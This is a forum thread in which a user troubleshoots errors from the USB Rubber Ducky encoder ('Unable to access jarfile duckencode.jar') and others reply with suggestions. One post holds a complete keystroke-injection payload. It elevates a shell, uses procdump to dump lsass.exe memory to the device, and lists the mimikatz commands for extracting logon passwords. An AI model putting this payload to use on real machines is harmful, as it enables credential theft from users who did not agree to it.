Skyee Posted September 22, 2016 Share Posted September 22, 2016 hi, everyone ! first off i've been watching AAAA'lot of hak5 and rubber ducky episode's aswell as guides, i wanted to generate my own payload or use the mimikatz one, and i found that everytime i tried to encode the txt in my kali distro, with the command : java -jar duckencode.jar -i script.txt -o inject.bin -l dk java -jar ./duckencode.jar -i script.txt -o inject.bin -l dk java -jar encoder.jar -i script.txt -o inject.bin -l dk also the name of the encoder is ''encoder.jar'' not duckencode, so at this point i dont know what to do ... i hope u guys watching and brewing an idea asap :) best regards Skyee from Denmark Quote Link to comment Share on other sites More sharing options...
Mr-Protocol Posted September 22, 2016 Share Posted September 22, 2016 Are you getting an error? If so, can you show it? Quote Link to comment Share on other sites More sharing options...
Skyee Posted September 22, 2016 Author Share Posted September 22, 2016 im sorry yes :) "error with input file! exception in thread "main" java.lang.NullPointerException at Encoder.main(Encoder.java:125" Quote Link to comment Share on other sites More sharing options...
Mr-Protocol Posted September 22, 2016 Share Posted September 22, 2016 Make sure there are no blank spaces with your input file. Other than that, the error doesn't help much sadly :( Quote Link to comment Share on other sites More sharing options...
Skyee Posted September 22, 2016 Author Share Posted September 22, 2016 what exactly do u mean? Quote Link to comment Share on other sites More sharing options...
Skyee Posted September 22, 2016 Author Share Posted September 22, 2016 7 hours ago, Mr-Protocol said: Make sure there are no blank spaces with your input file. Other than that, the error doesn't help much sadly :( as far as i know there is no blanks going on. vut no matter ´whatever i try it says unable to acess jarfile duckencode.jar Quote Link to comment Share on other sites More sharing options...
Rainman_34 Posted September 22, 2016 Share Posted September 22, 2016 Try starting with a hello world script first and see if that works. Quote Link to comment Share on other sites More sharing options...
Skyee Posted September 22, 2016 Author Share Posted September 22, 2016 hello world works i found out its something in this script that doesn't work on the ducktool site[for denmark] , but i still cant use Hak5 Duck Encoder 2.6.3 it keeps giving me Error : Unable to access jarfile duckencode.jar no matter what script or language REM *** UAC Bypass *** DELAY 2000 WINDOWS r DELAY 200 STRING powershell Start-Process cmd.exe -Verb runAs ENTER DELAY 2000 ALT y DELAY 500 REM *** Define DUCKY drive as %duck% STRING for /f %d in ('wmic volume get driveletter^, label ^| findstr "DUCKY"') do set duck=%d ENTER DELAY 500 REM *** Execute procdump from SD card and save log file to disk *** STRING %duck%\procdump.exe -accepteula -ma lsass.exe %duck%\%COMPUTERNAME%_lsass.dmp ENTER REM *** GTFO *** STRING exit ENTER REM *** Post Exploitation *** REM From your PC copy the %COMPUTERNAME%_lsass.dmp off the DUCKY SD card to a REM directory including the version of mimikatz for your targets architecture REM (NT5 win32, NT5 x64, NT6 win32 or NT6 x64) and run the following commands REM mimikatz.exe <enter> REM sekurlsa::minidump %COMPUTERNAME%_lsass.dmp <enter> REM sekurlsa::logonPasswords full <enter> Hak5 Duck Encoder 2.6.3 ERROR: Unable to access jarfile duckencode.jar. / error with this script on the https://ducktoolkit.com/encoder/ danish-language and on the hak5 encoder plzz help Quote Link to comment Share on other sites More sharing options...
Mr-Protocol Posted September 22, 2016 Share Posted September 22, 2016 Check permissions on the duckencode.jar? Quote Link to comment Share on other sites More sharing options...
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.